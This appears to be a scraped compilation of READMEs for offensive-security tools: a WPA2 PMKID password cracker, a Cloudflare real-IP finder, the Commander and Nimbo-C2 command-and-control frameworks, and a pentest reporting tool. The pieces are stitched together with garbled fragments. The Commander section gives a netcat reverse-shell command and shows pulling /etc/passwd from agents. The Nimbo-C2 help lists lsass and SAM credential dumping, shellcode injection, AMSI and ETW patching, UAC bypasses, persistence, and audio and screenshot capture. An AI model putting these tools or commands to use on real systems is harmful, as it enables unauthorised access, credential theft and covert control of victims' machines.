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This program is a tool written in Python to recover the pre-shared key of a WPA2 WiFi network without any de-authentication or requiring any clients to be on the network. It targets the weakness of certain access points advertising the PMKID value in EAPOL message 1.
FreshRSS python pmkidcracker.py -s <SSID> -ap <APMAC> -c <CLIENTMAC> -p <PMKID> -w <WORDLIST> -t <THREADS(Optional)>
NOTE: apmac, clientmac, pmkid must be a hexstring, e.g b8621f50edd9
The two main formulas to obtain a PMKID are as follows:
This is just for understanding, both are already implemented in find_pw_chunk and calculate_pmkid.
Below are the steps to obtain the PMKID manually by inspecting the packets in WireShark.
*You may use Hcxtools or Bettercap to quickly obtain the PMKID without the below steps. The manual way is for understanding.
To obtain the PMKID manually from wireshark, put your wireless antenna in monitor mode, start capturing all packets with airodump-ng or similar tools. Then connect to the AP using an invalid password to capture the EAPOL 1 handshake message. Follow the next 3 steps to obtain the fields needed for the arguments.
Open the pcap in WireShark:
wlan_rsna_eapol.keydes.msgnr == 1 in WireShark to display only EAPOL message 1 packets.If access point is vulnerable, you should see the PMKID value like the below screenshot:
This tool is for educational and testing purposes only. Do not use it to exploit the vulnerability on any network that you do not own or have permission to test. The authors of this script are not responsible for any misuse or damage caused by its use.
CloakQuest3r is a powerful Python tool meticulously crafted to uncover the true IP address of websites safeguarded by Cloudflare, a widely adopted web security and performance enhancement service. Its core mission is to accurately discern the actual IP address of web servers that are concealed behind Cloudflare's protective shield. Subdomain scanning is employed as a key technique in this pursuit. This tool is an invaluable resource for penetration testers, security professionals, and web administrators seeking to perform comprehensive security assessments and identify vulnerabilities that may be obscured by Cloudflare's security measures.
Key Features:
Real IP Detection: CloakQuest3r excels in the art of discovering the real IP address of web servers employing Cloudflare's services. This crucial information is paramount for conducting comprehensive penetration tests and ensuring the security of web assets.
Subdomain Scanning: Subdomain scanning is harnessed as a fundamental component in the process of finding the real IP address. It aids in the identification of the actual server responsible for hosting the website and its associated subdomains.
Threaded Scanning: To enhance efficiency and expedite the real IP detection process, CloakQuest3r utilizes threading. This feature enables scanning of a substantial list of subdomains without significantly extending the execution time.
Detailed Reporting: The tool provides comprehensive output, including the total number of subdomains scanned, the total number of subdomains found, and the time taken for the scan. Any real IP addresses unveiled during the process are also presented, facilitating in-depth analysis and penetration testing.
With CloakQuest3r, you can confidently evaluate website security, unveil hidden vulnerabilities, and secure your web assets by disclosing the true IP address concealed behind Cloudflare's protective layers.
- Still in the development phase, sometimes it can't detect the real Ip.
- CloakQuest3r combines multiple indicators to uncover real IP addresses behind Cloudflare. While subdomain scanning is a part of the process, we do not assume that all subdomains' A records point to the target host. The tool is designed to provide valuable insights but may not work in every scenario. We welcome any specific suggestions for improvement.
1. False Negatives: CloakReveal3r may not always accurately identify the real IP address behind Cloudflare, particularly for websites with complex network configurations or strict security measures.
2. Dynamic Environments: Websites' infrastructure and configurations can change over time. The tool may not capture these changes, potentially leading to outdated information.
3. Subdomain Variation: While the tool scans subdomains, it doesn't guarantee that all subdomains' A records will point to the pri mary host. Some subdomains may also be protected by Cloudflare.
How to Use:
Run CloudScan with a single command-line argument: the target domain you want to analyze.
git clone https://github.com/spyboy-productions/CloakQuest3r.git
cd CloakQuest3r
pip3 install -r requirements.txt
python cloakquest3r.py example.com
The tool will check if the website is using Cloudflare. If not, it will inform you that subdomain scanning is unnecessary.
If Cloudflare is detected, CloudScan will scan for subdomains and identify their real IP addresses.
You will receive detailed output, including the number of subdomains scanned, the total number of subdomains found, and the time taken for the scan.
Any real IP addresses found will be displayed, allowing you to conduct further analysis and penetration testing.
CloudScan simplifies the process of assessing website security by providing a clear, organized, and informative report. Use it to enhance your security assessments, identify potential vulnerabilities, and secure your web assets.
Run it online on replit.com : https://replit.com/@spyb0y/CloakQuest3r
Commander is a command and control framework (C2) written in Python, Flask and SQLite. ItΒ comes with two agents written in Python and C.
Under Continuous Development
Not script-kiddie friendly
Python >= 3.6 is required to run and the following dependencies
Linux for the admin.py and c2_server.py. (Untested for windows)
apt install libcurl4-openssl-dev libb64-dev
apt install openssl
pip3 install -r requirements.txt
First create the required certs and keys
# if you want to secure your key with a passphrase exclude the -nodes
openssl req -x509 -newkey rsa:4096 -keyout server.key -out server.crt -days 365 -nodes
Start the admin.py module first in order to create a local sqlite db file
python3 admin.py
Continue by running the server
python3 c2_server.py
And last the agent. For the python case agent you can just run it but in the case of the C agent you need to compile it first.
# python agent
python3 agent.py
# C agent
gcc agent.c -o agent -lcurl -lb64
./agent
By default both the Agents and the server are running over TLS and base64. The communication point is set to 127.0.0.1:5000 and in case a different point is needed it should be changed in Agents source files.
As the Operator/Administrator you can use the following commands to control your agents
Commands:
task add arg c2-commands
Add a task to an agent, to a group or on all agents.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
c2-commands: possible values are c2-register c2-shell c2-sleep c2-quit
c2-register: Triggers the agent to register again.
c2-shell cmd: It takes an shell command for the agent to execute. eg. c2-shell whoami
cmd: The command to execute.
c2-sleep: Configure the interval that an agent will check for tasks.
c2-session port: Instructs the agent to open a shell session with the server to this port.
port: The port to connect to. If it is not provided it defaults to 5555.
c2-quit: Forces an agent to quit.
task delete arg
Delete a task from an agent or all agents.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
show agent arg
Displays inf o for all the availiable agents or for specific agent.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
show task arg
Displays the task of an agent or all agents.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
show result arg
Displays the history/result of an agent or all agents.
arg: can have the following values: 'all' 'type=Linux|Windows' 'your_uuid'
find active agents
Drops the database so that the active agents will be registered again.
exit
Bye Bye!
Sessions:
sessions server arg [port]
Controls a session handler.
arg: can have the following values: 'start' , 'stop' 'status'
port: port is optional for the start arg and if it is not provided it defaults to 5555. This argument defines the port of the sessions server
sessions select arg
Select in which session to attach.
arg: the index from the 'sessions list' result
sessions close arg
Close a session.
arg: the index from the 'sessions list' result
sessions list
Displays the availiable sessions
local-ls directory
Lists on your host the files on the selected directory
download 'file'
Downloads the 'file' locally on the current directory
upload 'file'
Uploads a file in the directory where the agent currently is
Special attention should be given to the 'find active agents' command. This command deletes all the tables and creates them again. It might sound scary but it is not, at least that is what i believe :P
The idea behind this functionality is that the c2 server can request from an agent to re-register at the case that it doesn't recognize him. So, since we want to clear the db from unused old entries and at the same time find all the currently active hosts we can drop the tables and trigger the re-register mechanism of the c2 server. See below for the re-registration mechanism.
Below you can find a normal flow diagram
In case where the environment experiences a major failure like a corrupted database or some other critical failure the re-registration mechanism is enabled so we don't lose our connection with our agents.
More specifically, in case where we lose the database we will not have any information about the uuids that we are receiving thus we can't set tasks on them etc... So, the agents will keep trying to retrieve their tasks and since we don't recognize them we will ask them to register again so we can insert them in our database and we can control them again.
Below is the flow diagram for this case.
To setup your environment start the admin.py first and then the c2_server.py and run the agent. After you can check the availiable agents.
# show all availiable agents
show agent all
To instruct all the agents to run the command "id" you can do it like this:
# check the results of a specific agent
show result 85913eb1245d40eb96cf53eaf0b1e241
You can also change the interval of the agents that checks for tasks to 30 seconds like this:
# to set it for all agents
task add all c2-sleep 30
To open a session with one or more of your agents do the following.
# find the agent/uuid
show agent all
# enable the server to accept connections
sessions server start 5555
# add a task for a session to your prefered agent
task add your_prefered_agent_uuid_here c2-session 5555
# display a list of available connections
sessions list
# select to attach to one of the sessions, lets select 0
sessions select 0
# run a command
id
# download the passwd file locally
download /etc/passwd
# list your files locally to check that passwd was created
local-ls
# upload a file (test.txt) in the directory where the agent is
upload test.txt
# return to the main cli
go back
# check if the server is running
sessions server status
# stop the sessions server
sessions server stop
If for some reason you want to run another external session like with netcat or metaspolit do the following.
# show all availiable agents
show agent all
# first open a netcat on your machine
nc -vnlp 4444
# add a task to open a reverse shell for a specific agent
task add 85913eb1245d40eb96cf53eaf0b1e241 c2-shell nc -e /bin/sh 192.168.1.3 4444
This way you will have a 'die hard' shell that even if you get disconnected it will get back up immediately. Only the interactive commands will make it die permanently.
The python Agent offers obfuscation using a basic AES ECB encryption and base64 encoding
Edit the obfuscator.py file and change the 'key' value to a 16 char length key in order to create a custom payload. The output of the new agent can be found in Agents/obs_agent.py
You can run it like this:
python3 obfuscator.py
# and to run the agent, do as usual
python3 obs_agent.py
gunicorn -w 4 "c2_server:create_app()" --access-logfile=- -b 0.0.0.0:5000 --certfile server.crt --keyfile server.key
pip install pyinstaller
pyinstaller --onefile agent.py
The binary can be found under the dist directory.
In case something fails you may need to update your python and pip libs. If it continues failing then ..well.. life happened
Create new certs in each engagement
Backup your c2.db, it is easy... just a file
pytest was used for the testing. You can run the tests like this:
cd tests/
py.test
Be careful: You must run the tests inside the tests directory otherwise your c2.db will be overwritten and you will lose your data
To check the code coverage and produce a nice html report you can use this:
# pip3 install pytest-cov
python -m pytest --cov=Commander --cov-report html
Disclaimer: This tool is only intended to be a proof of concept demonstration tool for authorized security testing. Running this tool against hosts that you do not have explicit permission to test is illegal. You are responsible for any trouble you may cause by using this tool.
SysReptor is a fully customisable, offensive security reporting tool designed for pentesters, red teamers and other security-related people alike. You can create designs based on simple HTML and CSS, write your reports in user-friendly Markdown and convert them to PDF with just a single click, in the cloud or on-premise!
You just want to start reporting and save yourself all the effort of setting up, configuring and maintaining a dedicated server? Then SysReptor Cloud is the right choice for you! Get to know SysReptor on our Playground and if you like it, you can get your personal Cloud instance here:
You prefer self-hosting? That's fine! You will need:
You can then install SysReptor with via script:
curl -s https://docs.sysreptor.com/install.sh | bashAfter successful installation, access your application at http://localhost:8000/.
Get detailed installation instructions at Installation.
Nimbo-C2 is yet another (simple and lightweight) C2 framework.
Nimbo-C2 agent supports x64 Windows & Linux. It's written in Nim, with some usage of .NET on Windows (by dynamically loading the CLR to the process). Nim is powerful, but interacting with Windows is much easier and robust using Powershell, hence this combination is made. The Linux agent is slimer and capable only of basic commands, including ELF loading using the memfd technique.
All server components are written in Python:
My work wouldn't be possible without the previous great work done by others, listed under credits.
UPX0, UPX1) to make detection and unpacking harder.config.jsonc).cd ingit clone https://github.com/itaymigdal/Nimbo-C2
cd Nimbo-C2
docker build -t nimbo-dependencies .
cd again into the source files and run the docker image interactively, expose port 80 and mount Nimbo-C2 directory to the container (so you can easily access all project files, modify config.jsonc, download and upload files from agents, etc.). For Linux replace ${pwd} with $(pwd).cd Nimbo-C2
docker run -it --rm -p 80:80 -v ${pwd}:/Nimbo-C2 -w /Nimbo-C2 nimbo-dependencies
git clone https://github.com/itaymigdal/Nimbo-C2
cd Nimbo-C2/Nimbo-C2
docker run -it --rm -p 80:80 -v ${pwd}:/Nimbo-C2 -w /Nimbo-C2 itaymigdal/nimbo-dependencies
First, edit config.jsonc for your needs.
Then run with: python3 Nimbo-C2.py
Use the help command for each screen, and tab completion.
Also, check the examples directory.
Nimbo-C2 > help
--== Agent ==--
agent list -> list active agents
agent interact <agent-id> -> interact with the agent
agent remove <agent-id> -> remove agent data
--== Builder ==--
build exe -> build exe agent (-h for help)
build dll -> build dll agent (-h for help)
build elf -> build elf agent (-h for help)
--== Listener ==--
listener start -> start the listener
listener stop -> stop the listener
listener status -> print the listener status
--== General ==--
cls -> clear the screen
help -> print this help message
exit -> exit Nimbo-C2
Nimbo-2 [d337c406] > help
--== Send Commands ==--
cmd <shell-command> -> execute a shell command
iex <powershell-scriptblock> -> execute in-memory powershell command
--== File Stuff ==--
download <remote-file> -> download a file from the agent (wrap path with quotes)
upload <loal-file> <remote-path> -> upload a file to the agent (wrap paths with quotes)
--== Discovery Stuff ==--
pstree -> show process tree
checksec -> check for security products
software -> check for installed software
--== Collection Stuff ==--
clipboard -> retrieve clipboard
screenshot -> retrieve screenshot
audio <record-time> -> record audio
--== Post Exploitation Stuff ==--
lsass <method> -> dump lsass.exe [methods: direct,comsvcs] (elevation required)
sam -> dump sam,security,system hives using reg.exe (elevation required)
shellc <raw-shellcode-file> <pid> -> inject shellcode to remote process
assembly <local-assembly> <args> -> execute .net assembly (pass all args as a single string using quotes)
warning: make sure the assembly doesn't call any exit function
--== Evasion Stuff ==--
unhook -> unhook ntdll.dll
amsi -> patch amsi out of the current process
etw -> patch etw out of the current process
--== Persistence Stuff ==--
persist run <command> <key-name> -> set run key (will try first hklm, then hkcu)
persist spe <command> <process-name> -> persist using silent process exit technique (elevation required)
--== Privesc Stuff ==--
uac fodhelper <command> <keep/die> -> elevate session using the fodhelper uac bypass technique
uac sdclt <command> <keep/die> -> elevate session using the sdclt uac bypass technique
--== Interaction stuff ==--
msgbox <title> <text> -> pop a message box (blocking! waits for enter press)
speak <text> -> speak using sapi.spvoice com interface
--== Communication Stuff ==--
sleep <sleep-time> <jitter-%> -> change sleep time interval and jitter
clear -> clear pending commands
collect -> recollect agent data
kill -> kill the agent (persistence will still take place)
--== General ==--
show -> show agent details
back -> back to main screen
cls -> clear the screen
help -> print this help message
exit -> exit Nimbo-C2
Nimbo-2 [51a33cb9] > help
--== Send Commands ==--
cmd <shell-command> -> execute a terminal command
--== File Stuff ==--
download <remote-file> -> download a file from the agent (wrap path with quotes)
upload <local-file> <remote-path> -> upload a file to the agent (wrap paths with quotes)
--== Post Exploitation Stuff ==--
memfd <mode> <elf-file> <commandline> -> load elf in-memory using the memfd_create syscall
implant mode: load the elf as a child process and return
task mode: load the elf as a child process, wait on it, and get its output when it's done
(pass the whole commandline as a single string using quotes)
--== Communication Stuff ==--
sleep <sleep-time> <jitter-%> -> change sleep time interval and jitter
clear -> clear pending commands
collect -> recollect agent data
kill -> kill the agent (persistence will still take place)
--== General ==--
show -> show agent details
back -> back to main screen
cls -> clear the screen
help -> print this help message
exit -> exit Nimbo-C2
assembly command, make sure your assembly doesn't call any exit function because it will kill the agent.shellc command may unexpectedly crash or change the injected process behavior, test the shellcode and the target process first.audio, lsass and sam commands temporarily save artifacts to disk before exfiltrate and delete them.persist commands should be done manually.uac commands. die flag may leave you with no active agent (if the unelevated agent thinks that the UAC bypass was successful, and it wasn't), keep should leave you with 2 active agents probing the C2, then you should manually kill the unelevated.msgbox is blocking, until the user will press the ok button.This software may be buggy or unstable in some use cases as it not being fully and constantly tested. Feel free to open issues, PR's, and contact me for any reason at (Gmail | Linkedin | Twitter).
